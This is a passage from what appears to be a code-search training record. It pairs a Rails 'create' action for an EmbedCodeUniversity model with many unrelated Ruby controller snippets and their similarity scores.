@api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<IndustryFacility>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IndustryApi#get_industry_facilities\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_all_authors\n count = params[:count] # Optional - and must be an integer. Cuts the amount of authors return down to the number specified.\n timeline = params[:timeline] # Optional - and must be boolean. Determines whether to return personality predictions by day, month, and year.\n traits = params[:traits] # Optional - value must be a substring of \"ESACO\". Determines which traits to return.\n puts \"count:#{count}\"\n puts \"timeline:#{timeline}\"\n puts \"traits:#{traits}\"\n\n request = Net::HTTP::Get.new(\"/personality-api/1/all_authors.json?count=#{count}&timeline=#{timeline}&traits=#{traits}\")\n request.basic_auth BmnPersonalityApiSkeletonRor::Application.config.user_name, BmnPersonalityApiSkeletonRor::Application.config.password\n response = @http.request(request)\n render :text => response.body\n\n end", "def load_university_data\n if @university\n @users = @university.users.where(\"id != 1 AND id != 2\")\n @updateable = @university\n @updates = @updateable.updates\n @events = @university.events.active.free_food.search_date(Date.today)\n @clubs = @university.clubs.sup_club.limit(5).order(:name)\n @club ||= @university.clubs.build\n @club_updates = Update.\n joins(\"inner join clubs on clubs.id = updateable_id\").\n joins(\"inner join memberships on memberships.club_id = clubs.id\").\n where(updateable_type: \"Club\").\n where(updateable_id: @clubs.map(&:id)).\n where(\"memberships.user_id = ?\", current_user.id).\n order(\"created_at DESC\")\n end\n end", "def get_affiliation\n render( json: TeamAffiliation.find_by(season_id: params[:season_id], team_id: params[:id]) )\n end", "def index\n @university_degrees = UniversityDegree.all\n end", "def semesters\n uni_year = UniYear.find_by_id(params[:uni_year_id])\n @semesters = uni_year ? uni_year.semesters : []\n \n respond_to do |format|\n format.json { render json: @semesters }\n end\n end", "def index\n @localities = Locality.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @localities }\n end\n end", "def show\n @industry = Industry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @industry }\n end\n end", "def set_interno_unidad\n @interno_unidad = InternoUnidad.find(params[:id])\n end", "def show\n @jurisdiction = Jurisdiction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jurisdiction }\n end\n end", "def index\n @universes = Universe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @universes }\n end\n end", "def index\n @industries = Industry.order(:short_name_en)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @industries }\n end\n end", "def update\n @university = University.find(params[:id])\n\n respond_to do |format|\n if @university.update_attributes(params[:university])\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @university = University.find(params[:id])\n\n respond_to do |format|\n if @university.update_attributes(params[:university])\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @university = UniversityDecorator.decorate @employer_study.university\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @employer_study }\n end\n end", "def university_params\n params.require(:university).permit(:user_id, :country_id, :option, :private_or_public, :name, :description, :fundation, :rector, :email, :facebook, :twitter, :linkedin, :website, :link_admission, :address, :longitude, :latitude, :logo, :many_proffesors, :many_students, :is_wifi, :is_cafe, :is_safe, :is_libray, :is_job_help, :is_student_exchange, :is_spiritual, :gym, :pool, :residence, :location, :lunch, :football, :soccer, :volley, :tennis, :table_tennis, :baseball, :track_and_field, :golf, :swimming, :rugby, :climbing, :lacrosse, :drawing, :photography, :sculpture, :theatre, :wood, :music, :choir, :marching_band, :dance, :mun, :volunteer, :gamers, :english, :spanish, :french, :german, :chinese, :italian, :portuguese, :russian, :japanese, :latin, :greek, :signs)\n end", "def update\n respond_to do |format|\n if @university.update(university_params)\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { render :show, status: :ok, location: @university }\n else\n format.html { render :edit }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @college = College.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @college }\n end\n end", "def index\n @educations = Education.all\n render json: @educations\n end", "def index\n @issues = Issue.where({assignee: current_user.github_username})\n\n render json: @issues\n end", "def destroy\n @university.destroy\n respond_to do |format|\n format.html { redirect_to universities_url, notice: 'University was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n @university_courses = UniversityCourse.all\n end", "def destroy\n @university.destroy\n respond_to do |format|\n format.html { redirect_to universities_url, notice: 'University was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n @university_subjects = UniversitySubject.all\n end", "def show\n @locality = Locality.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @locality }\n end\n end", "def show\n @u_ser = USer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @u_ser }\n end\n end", "def show\n @county = Entity.where(id: params[:id]).where(entity_type: 'County').first\n respond_with(@county) do |format|\n format.geojson { render text: @county.to_geojson }\n end\n end", "def fetch_api_codewars_kata_info\n private_fetch_kata\n end", "def show\n\t\trecords = University.where(['name LIKE ?', \"#{params[:name]}%\"])\n\t\tschools = Array.new\n\n\t\trecords.each do |record|\n\t\t\tcents_rating = RatesSchool.find_by_sql [\n\t\t\t\t'SELECT avg(rating) AS average\n\t\t\t\tFROM rates_schools\n\t\t\t\tWHERE university_id = ?',\n\t\t\t\trecord.id\n\t\t\t]\n\t\t\trecord = record.as_json\n\t\t\trecord[:average_rating] = cents_rating[0][:average].to_f\n\t\t\tschools << record.except('id', 'created_at', 'updated_at')\n\t\tend\n\n\t\tif schools.present?\n\t\t\treturn render json: schools, status: 200\n\t\telse\n\t\t\treturn render json: [], status: 404\n\t\tend\n\tend", "def show\n @education_level = EducationLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @education_level }\n end\n end", "def us\n render :json => @@us_data\n end", "def index\n @uchronists = Uchronist.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uchronists }\n end\n end", "def geo\n\t\tciudad = params[:id]\n\t\t@ubication = City.where(id: ciudad)\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: @ubication }\n\t\tend\n\tend", "def index\n @undergraduate_majors = UndergraduateMajor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @undergraduate_majors }\n end\n end", "def get_facilities\n list = organizations.map { |org| org.resource.identifier.last.value }\n facilities_ids = list.join(',')\n\n facilities_request.get(facilities_ids)\n end", "def invited_institutions\n invitation_codes.collect(&:institution).uniq.compact\n end", "def show\n @condolence = Condolence.find(params[:id])\n @orbituarysite = current_user.orbituarysites.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @condolence }\n end\n end", "def index\n @identities = Identity.all\n\n render json: @identities\n end", "def show\n @uchronist = Uchronist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uchronist }\n end\n end", "def index\n @uens = Uen.all\n end", "def show\n #@publication = Publication.find(params[:id])\n #@issues = @publication.issues.where( :issue_states => {:name => 'released'})\n #render json: @issues\n\n publication = Publication.find_by_product_code(params[:id])\n\n state = IssueState.find_by_name('Released')\n\n issues = Issue.where(:publication_id => publication, :issue_state_id => state)\n render json: issues.as_json({:except => :pdf_zip})\n\n end", "def show\n render json: @company_authority\n end", "def index\n @issue_skills = IssueSkill.all\n render json: @issue_skills\n end", "def index\n @ideas = Idea.current_ideas_for(current_user).entries\n respond_with(@ideas) do |format|\n format.json { render json: @ideas }\n end\n end", "def show\n @institute_admin = InstituteAdmin.includes(:profile).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @institute_admin }\n end\n end" ]
[ "0.68970525", "0.677042", "0.6715693", "0.63996136", "0.6324283", "0.6221291", "0.6176581", "0.61195654", "0.61195654", "0.6107554", "0.60654426", "0.5820541", "0.5816487", "0.57700765", "0.5705703", "0.5672223", "0.56413966", "0.5476639", "0.54678154", "0.5456961", "0.5456961", "0.5455664", "0.54537666", "0.542628", "0.5424054", "0.540387", "0.537733", "0.535936", "0.53362024", "0.5252882", "0.5226561", "0.5205541", "0.5197731", "0.5191866", "0.51748335", "0.5171493", "0.5163673", "0.51611084", "0.51561403", "0.51561403", "0.5155732", "0.5140164", "0.512049", "0.511247", "0.51049346", "0.51049346", "0.51039845", "0.5100116", "0.50793123", "0.507763", "0.50743866", "0.5069324", "0.504547", "0.5045421", "0.5039368", "0.502308", "0.50149953", "0.50134647", "0.5008649", "0.4997004", "0.49869415", "0.49809724", "0.49793616", "0.49656597", "0.49253237", "0.49086034", "0.4903458", "0.48929316", "0.4851643", "0.4851643", "0.48339736", "0.4833032", "0.48154107", "0.48146826", "0.4814204", "0.48134747", "0.47983328", "0.4797846", "0.47968802", "0.47910574", "0.47893533", "0.47760308", "0.47755173", "0.47589117", "0.47588548", "0.47582385", "0.4756474", "0.47496206", "0.47487596", "0.47478977", "0.4744354", "0.47374502", "0.47274587", "0.4721007", "0.4720086", "0.4718966", "0.47169432", "0.4700514", "0.4693103", "0.46888393", "0.46799263" ]
0.0
-1
POST /embed_code_universities POST /embed_code_universities.json
def create @embed_code_university = EmbedCodeUniversity.new(embed_code_university_params) if params[:contact_id] contact = params.require(:contact_id) @embed_code_university.university_contacts << UniversityContact.find(contact) end respond_to do |format| if @embed_code_university.save format.html { redirect_to embed_code_universities_url, notice: 'Embed Code University was successfully created.' } format.json { render :show, status: :created, location: @embed_code_university } else format.html { render :new } format.json { render json: @embed_code_university.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n\t\trespond_to do |format|\n\t\t\tif @embed_code_university.update(embed_code_university_params)\n\t\t\t\tformat.html { redirect_to embed_code_universities_url, notice: 'Embed code university was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @embed_code_university }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @embed_code_university.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def embed_code_university_params\n\t\t\tparams.require(:embed_code_university).permit(:acronym, :name, :comments, :test_user, :test_password, :test_site, :embed_code, :status)\n\t\tend", "def set_embed_code_university\n\t\t\t@embed_code_university = EmbedCodeUniversity.find(params[:id])\n\t\tend", "def destroy\n\t\t@embed_code_university.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to embed_code_universities_url, notice: 'Embed code university was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n @universities_ids = EmbedCodeUniversity.all.ids\n events_universities = []\n @universities_ids.each do |university_id|\n events_universities << EventsUniversity.new(:event_id => @event.id, :embed_code_university_id => university_id)\n end\n EventsUniversity.import events_universities\n format.html { redirect_to events_url, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_university_autocomplete\n render json: {\"course_tags\": @course_tags, \"program_tags\": @program_tags}\n end", "def uni_years\n @uni_years = UniYear.where(university_id: params[:university_id])\n \n respond_to do |format|\n format.json { render json: @uni_years }\n end\n end", "def index\n\t\tsc = sort_column\n\t\t@q = EmbedCodeUniversity.ransack(params[:q])\n\t\t@sort = sc + \" \"\n\t\tif params[:page]\n\t\t\tcookies[:embed_code_universities_page] = {\n\t\t\t\tvalue: params[:page],\n\t\t\t\texpires: 1.day.from_now\n\t\t\t}\n\t\tend\n\t\t@embed_code_universities = @q.result.order(@sort + sort_direction).page(cookies[:embed_code_universities_page]).per_page(10)\n\tend", "def university_params\n params.require(:university).permit(:user_id, :country_id, :option, :private_or_public, :name, :description, :fundation, :rector, :email, :facebook, :twitter, :linkedin, :website, :link_admission, :address, :longitude, :latitude, :logo, :many_proffesors, :many_students, :is_wifi, :is_cafe, :is_safe, :is_libray, :is_job_help, :is_student_exchange, :is_spiritual, :gym, :pool, :residence, :location, :lunch, :football, :soccer, :volley, :tennis, :table_tennis, :baseball, :track_and_field, :golf, :swimming, :rugby, :climbing, :lacrosse, :drawing, :photography, :sculpture, :theatre, :wood, :music, :choir, :marching_band, :dance, :mun, :volunteer, :gamers, :english, :spanish, :french, :german, :chinese, :italian, :portuguese, :russian, :japanese, :latin, :greek, :signs)\n end", "def create\n @university = University.new(params[:university])\n\n respond_to do |format|\n if @university.save\n format.html { redirect_to @university, notice: 'University was successfully created.' }\n format.json { render json: @university, status: :created, location: @university }\n else\n format.html { render action: \"new\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @university = University.new(params[:university])\n\n respond_to do |format|\n if @university.save\n format.html { redirect_to @university, notice: 'University was successfully created.' }\n format.json { render json: @university, status: :created, location: @university }\n else\n format.html { render action: \"new\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def university_params\n params.require(:university).permit(:universityid, :name, :f211, :f985, :area, :address, :phone, :email, :level, :membership, :nature, :schoolid, :schooltype, :website, :shoufei, :intro)\n end", "def create\n @university = University.new(university_params)\n @university.user_id = current_user.id\n\n respond_to do |format|\n if @university.save\n format.html { redirect_to university_path(@university), notice: 'University was successfully created.' }\n format.json { render :show, status: :created, location: @university }\n else\n format.html { render :new }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @university = University.new(params[:university])\n \n respond_to do |format|\n if @university.save\n if params[:domain]\n params[:domain].each do |d|\n @email_domain = EmailDomain.new\n @email_domain.university_id = @university.id\n @email_domain.domain = d\n @email_domain.save\n end \n end\n \n if params[:alumni_url]\n params[:alumni_url].each do |d|\n @alt_path = AltPath.new\n @alt_path.university_id = @university.id\n @alt_path.alumni_url = d\n @alt_path.save\n end \n end\n \n flash[:notice] = 'University was successfully created.'\n format.html { redirect_to(universities_url) }\n format.xml { render :xml => @university, :status => :created, :location => @university }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @university.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @university = University.new(university_params)\n\n respond_to do |format|\n if @university.save\n format.html { redirect_to @university, notice: 'University was successfully created.' }\n format.json { render :show, status: :created, location: @university }\n else\n format.html { render :new }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def university_params\n params.require(:university).permit(:name, :city, :state, :zip_code, \\\n :student_count, :q1_sat_reading, :q3_sat_reading, :q1_sat_math, \\\n :q3_sat_math, :q1_act, :q3_act, :acceptance_rate, :cost_in, :cost_out)\n end", "def create\n @university = University.new(university_params)\n @universities = University.all\n respond_to do |format|\n if @university.save\n @university = University.new\n format.js { @flag = true }\n else\n flash.now[:alert] = 'University Already Exist.'\n format.js { @flag = false }\n end\n end\n end", "def university_params\n params.require(:university).permit(\n :univ_name,\n university_profile_attributes:\n [\n :id, :classification, :description, :owner, :total_area_hectare, :total_area_meter, :acquisition, :titling_status, :date_issued, :tax_dec_no, :remarks, :titling_step_ein , :titling_step_zwei, :titling_step_drei, :titling_step_vier, :titling_step_funf, :titling_step_sechs, :titling_step_sieben, :titling_step_acht, :titling_step_neun, :titling_step_zehn, :_destroy\n ]\n )\n end", "def update\n @university.update(university_params)\n @universities = University.all\n @university = University.new\n end", "def university_params\n params.require(:university).permit(:is_confirm,:name,:code,:description)\n end", "def university_params\n params.require(:university).permit(:name, :state, :zip)\n end", "def set_university\n @university = University.find(params[:university_id])\n end", "def destroy\n @university.destroy\n @universities = University.all\n end", "def index\n @universities = University.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @universities }\n end\n end", "def set_university_autocomplete\n render json: @group_tags\n end", "def update\n respond_to do |format|\n if @university.update(university_params)\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { respond_with_bip(@university) }\n else\n format.html { render :edit }\n format.json { respond_with_bip(@university) }\n end\n end\n end", "def uen_params\n params.require(:uen).permit(:region, :country)\n end", "def set_university\n @university = University.find(params[:id])\n end", "def set_university\n @university = University.find(params[:id])\n end", "def show\n #@event_id = params[:event_id]\n #@university_id = params[:university_id]\n #@events_university = EventsUniversity.where(event_id: @event_id, embed_code_variable_university_id: @university_id).take\n #@embed_code_variable = EmbedCodeVariable.where(events_university_id: @events_university.id)\n #if @embed_code_variable.empty?\n # @embed_code_variable = EmbedCodeVariable.new(events_university_id: @events_university.id)\n #end\n #@embed_code_variable.save\n end", "def index\n @universities = University.all\n end", "def nuclear_code_params\n params[:nuclear_code].permit(:country,:codeA,:codeB,:target,:country_flag)\n end", "def set_universitario\n @universitario = Universitario.find(params[:id])\n end", "def show\n sc = sort_column\n @sort = sc + \" \"\n if params[:page]\n\t\t\tcookies[:event_universities_page] = {\n\t\t\t\tvalue: params[:page],\n\t\t\t\texpires: 1.day.from_now\n\t\t\t}\n\t\tend\n @embed_code_universities = @event.embed_code_universities.order(@sort + sort_direction).page(cookies[:event_universities_page])\n @events_universities = @event.events_universities\n end", "def higher_education_institution_params\n params.require(:higher_education_institution).permit(:code, :name, :acronym, :university_id)\n end", "def set_university\n @university = University.friendly.find(params[:id])\n end", "def set_university\n @university = University.friendly.find(params[:id])\n end", "def set_university\n @university = University.find(params[:id])\n end", "def unity_params\n params.require(:unity).permit(:name, :email, :site)\n end", "def university_course_params\n params.require(:university_course).permit(:university_id, :course_id, :course_code)\n end", "def create\n @interno_unidad = InternoUnidad.new(interno_unidad_params)\n\n respond_to do |format|\n if @interno_unidad.save\n format.html { redirect_to @interno_unidad, notice: 'Interno unidad was successfully created.' }\n format.json { render :show, status: :created, location: @interno_unidad }\n else\n format.html { render :new }\n format.json { render json: @interno_unidad.errors, status: :unprocessable_entity }\n end\n end\n end", "def university_params\n params.require(:university).permit(:name, :description, :city_id,:number,:email,:facebook,:address,:image_file_name, :image_content_type,:image_file_size,:image_updated_at, :image)\n end", "def create\n @universities = University.all\n @university = University.find(:first,:conditions => [\"name = ?\",private_mw])\n @alumini = Alumini.new(params[:alumini])\n\n respond_to do |format|\n if @alumini.save\n flash[:notice] = 'Alumini was successfully created.'\n format.html { redirect_to(aluminis_url) }\n format.xml { render :xml => @alumini, :status => :created, :location => @alumini }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @alumini.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @university = University.find_or_initialize_by(name: university_params)\n al = 0\n if current_user && current_user.admin?\n al = params[:authorization_level]\n end\n @user = User.new(user_params.merge(university: @university, authorization_level: al))\n\n if @user.save\n render json: {:message => \"success\"}.to_json, status: :created\n @user.send_activation_email\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def createCharities\n\tcharity_list = [\"Direct Relief\", \"Catholic Medical Mission Board\", \"MAP International\", \"United Nations Foundation\", \"The Rotary Foundation of Rotary International\", \"Samaritan's Purse\", \"Institute of International Education\", \"International Rescue Committee\", \"Compassion International\", \"United States Fund for UNICEF\"]\n\tcharity_list.each do |charity|\n\t\tRestClient.post 'http://api.reimaginebanking.com/merchants?key=e0486a76005721ee6d86b140eaea2a40', { \"name\": \"#{charity}\"}.to_json, :content_type => :json, :accept => :json\n\tend\nend", "def universe_params\n params.require(:universe).permit(:name, \n :image, \n character_ids: []\n )\n end", "def destroy\n @university = University.find(params[:id])\n @university.destroy\n\n respond_to do |format|\n format.html { redirect_to universities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @university = University.find(params[:id])\n @university.destroy\n\n respond_to do |format|\n format.html { redirect_to universities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @university.destroy\n respond_to do |format|\n format.html { redirect_to universities_url, notice: 'University was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @university.destroy\n respond_to do |format|\n format.html { redirect_to universities_url, notice: 'University was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def update\n respond_to do |format|\n if @university.update(university_params)\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { render :show, status: :ok, location: @university }\n else\n format.html { render :edit }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def invitation_code\n params.require(:invitation).permit(:code)\n end", "def update\n cities = @video_marketing_campaign_form.cities.present? ? Geobase::Locality.joins(\"LEFT OUTER JOIN geobase_regions ON geobase_regions.id = geobase_localities.primary_region_id\").where(\"geobase_localities.id in (#{@video_marketing_campaign_form.cities.to_s.gsub(/(\\[|\\])|\"/, '')})\").order(\"geobase_regions.name ASC, geobase_localities.name ASC\") : []\n @cities_json = cities.map { |e| {id: e.id, text: \"#{e.name}, #{e.try(:primary_region).try(:code).try(:split, '<sep/>').try(:first).to_s.gsub('US-', '')}\"} }\n respond_to do |format|\n if @video_marketing_campaign_form.update(video_marketing_campaign_form_params)\n format.html { redirect_to @video_marketing_campaign_form, notice: 'Video marketing campaign form was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video_marketing_campaign_form.errors, status: :unprocessable_entity }\n end\n end\n end", "def university; end", "def create\n @question = current_user.questions.new(question_params)\n if current_user.university != nil \n @question.university_id = current_user.university_id\n end\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'La pregunta fue creado correctamente.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @university_profile = UniversityProfile.new(params[:university_profile])\n \n respond_to do |format|\n if @university_profile.save\n format.html { redirect_to @university_profile, notice: 'University profile was successfully created.' }\n format.json { render json: @university_profile, status: :created, location: @university_profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @university_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @university = University.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @university }\n end\n end", "def new\n @university = University.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @university }\n end\n end", "def embed_code_variable_params\n params.require(:embed_code_variable).permit(:name, :code)\n end", "def encode(codes)\n encode_list(codes, @years)\n codes << encoding_token\n end", "def code_params\n params.require(:code).permit(:name, :clue, :location, :specific_location, :alum, :secret, :new_secret)\n end", "def update\n @university = University.find_or_initialize_by(name: university_params)\n if params[:payments] == \"delete\" and current_user.authorization_level == 'admin'\n @user.update(payments: [])\n end\n\n if @user.update(user_params.merge(university: @university.id))\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n\t \n\t \n\t @event = @univers.events.build(event_params)\n\n\t respond_to do |format|\n\t\tif @event.save\n\t\t format.html { redirect_to univers_events_path, notice: 'Event was successfully created.' }\nformat.js\n\t\t\tformat.json { render :show, status: :created, location: [@univers, @event] }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n\t end \n end\n end", "def set_university\n @university = University.find(params[:id])\n @university_profiles = @university.university_profiles.paginate(:page => params[:page], :per_page => 10)\n end", "def setup_univ \n\n @univs = []\n if Rails.env == \"test\"\n @univs = University.find(:all)\n else\n @univs = [5,47,4,1,43,7,48,8,14,3,10,2,41,6,12,61,11,42,74,46].map { |id| University.find(id) }.sort_by(&:name)\n end\n\n if @customer\n current_univs = @customer.univ_order_univs\n @univs = @univs - current_univs\n if current_univs.map(&:university_id).include?(session[:univ_id].to_i)\n flash[:message] = \"You are already subscribed to #{University.find(session[:univ_id]).name}.Perhaps you want to log in to your account (in the upper right hand corner) ?\"\n session[:univ_id] = nil \n end\n end\n\n @univ_choice = University.find(session[:univ_id]) if session[:univ_id]\n\n end", "def request_enrollment_code(unique_id)\n url = \"#{root_url}/ivs-ippaas-api/IPPRest/resources/rest/requestEnrollmentCode\"\n body = {\n sponsorID: sponsor_id,\n uniqueID: unique_id,\n }\n\n faraday.post(url, body, dynamic_headers) do |req|\n req.options.context = { service_name: 'usps_enrollment_code' }\n end.body\n end", "def update\n @university = University.find(params[:id])\n\n respond_to do |format|\n if @university.update_attributes(params[:university])\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @university = University.find(params[:id])\n\n respond_to do |format|\n if @university.update_attributes(params[:university])\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def g_ind\n #p '###########################'\n unless self.ent_industry_code.blank?\n ids = self.ent_industry_code.split(',')\n self.industries.clear\n ids.each do |i|\n self.industries.create(:ent_id => self.id, :industry_id => i, :seq => ids.index(i)+1)\n end\n end\n #p self.industries\n #p '##########################'\n end", "def create\n max_num = secret_code_params[:number_of_codes].to_i\n @secret_codes = (1..max_num).map { SecretCode.new }\n respond_to do |format|\n SecretCode.transaction do\n success = @secret_codes.map(&:save)\n if success.all?\n format.js\n else\n format.js\n end\n end\n end\n end", "def create\n if verify_code_validity.nil?\n\t user = User.exists? invitation_params[:user_id] \n\t respond_to do |format|\n\t unless user.nil? \n\t\t\t\tuser_name = user.name\n\t\t\t\tuser_role = user.roles.first.id unless user.roles.first.nil? \n\t end\n\t if (user_role == ROLE_LEADER || user_role == ROLE_ADMIN)\n\t\t@invitation = Invitation.new(invitation_params)\n\t\t@invitation.invitation_sent_at = Time.now.utc\n\t\t@invitation.status = PENDING_INVITATION_STATUS\n\t\t@invitation.save\n\t\tInvitationCode.create(invitation_id: @invitation.id, code_text: params[:code])\n #UserMailer.invite_user_email(params[:code],user_name,invitation_params[:invitee_email]).deliver\n\t\tformat.html { redirect_to @invitation, notice: 'Invitation was successfully created.' }\n\t\tformat.json { render :json=> {:status => true} }\n\t else\n\t\tformat.html { render :new }\n\t\tformat.json { render :json=> {:error => 'This user id is not authorized to send invitation', :status => false} }\n\t end\n\t end\n else\n\t respond_to do |format|\n\t\tformat.html { render :new }\n\t\tformat.json { render :json => { :error => 'Invalid or taken code.', :status => false } }\n\t end\n end\n end", "def get_university_name(text)\n name = nil\n @universities.reverse.each do |u|\n if text.downcase.include?(u.downcase)\n name = u\n end\n end\n return name\nend", "def industry_code_params\n params.permit(:entity_code_name, :entity_code_id)\n end", "def create\n num_to_gen = params[:actor_code][:num_to_generate]\n num_to_gen = num_to_gen.to_i\n #actor_codes = \"\"\n actor_codes = []\n logger.info(\"CODEZ #{num_to_gen}\")\n \t#num_to_gen.to_i.times do\n @actor_code = ActorCode.new(params[:actor_code])\n\n respond_to do |format|\n if @actor_code.save\n #actor_codes += \"#{@actor_code.id}\"\n actor_codes << @actor_code.id\n unless num_to_gen < 2\n (num_to_gen - 1).to_i.times do\n #actor_codes += \"&#{ActorCode.create(params[:actor_code]).id}\"\n actor_codes << ActorCode.create(params[:actor_code]).id\n end\n end\n format.html { redirect_to created_codes_path(:codes => actor_codes), notice: \"#{num_to_gen} actor code(s) successfully created.\" }\n format.json { render json: @actor_code, status: :created, location: @actor_code }\n else\n format.html { render action: \"new\" }\n format.json { render json: @actor_code.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_authors\n text = params[:text]\n puts \"str:#{text}\"\n request = Net::HTTP::Post.new(\"/personality-api/1/add_authors.json\")\n request.basic_auth BmnPersonalityApiSkeletonRor::Application.config.user_name, BmnPersonalityApiSkeletonRor::Application.config.password\n request.set_form_data({ :text => text\n })\n logger.debug(\"request #{request}\");\n response = @http.request(request)\n render :text => response.body\n\n end", "def index\n @universes = Universe.all.page(params[:page]).per(25)\n respond_to do |format|\n format.html\n format.json { render json: @universes }\n end\n end", "def universe_params\n params.permit(:name)\n end", "def create\n @universe = Universe.new(universe_params)\n\n respond_to do |format|\n if @universe.save\n format.html { redirect_to @universe, notice: 'Universe was successfully created.' }\n format.json { render action: 'show', status: :created, location: @universe }\n else\n format.html { render action: 'new' }\n format.json { render json: @universe.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def create\n @idea = current_member.ideas.new(idea_params) \n respond_to do |format|\n sectors_params.delete(\"\")\n if @idea.save\n sectors_params.each do |k|\n @idea.sectors << Sector.find_by(id:k)\n end\n format.json { head :no_content }\n format.js\n else\n\n format.json { render :json => { :error => @idea.errors.full_messages }, :status => 422 }\n end\n \n end\n end", "def create\n @nuclear_code = NuclearCode.new(nuclear_code_params)\n\n respond_to do |format|\n if @nuclear_code.save\n format.html { redirect_to @nuclear_code, notice: 'Nuclear code was successfully created.' }\n format.json { render :show, status: :created, location: @nuclear_code }\n else\n format.html { render :new }\n format.json { render json: @nuclear_code.errors, status: :unprocessable_entity }\n end\n end\n end", "def example_code_params\n params.require(:example_code).permit(:example_string, :example_int, :user_id)\n end", "def junior_enterprise_params\n params.require(:junior_enterprise).permit(:seal ,:access, :user_id,:name, :logo, :description, :phrase, :site, :phone, :city, :state, :facebook, :youtube, :course, :area, :address, :training, :consultor, :product, :project)\n end", "def create\n @university = University.find(params[:university_id])\n @complaint_type = @university.complaint_types.build(params[:complaint_type])\n authorize! :create, @complaint_type, :message => 'Acceso denegado.'\n\n respond_to do |format|\n if @complaint_type.save\n format.html { redirect_to([@complaint_type.university, @complaint_type], :notice => 'El tipo de reclamo ha sido creado correctamente.') }\n format.json { render :json => @complaint_type, :status => :created, :location => [@complaint_type.university, @complaint_type] }\n format.js\n else\n format.html { render :action => \"new\" }\n format.json { render :json => 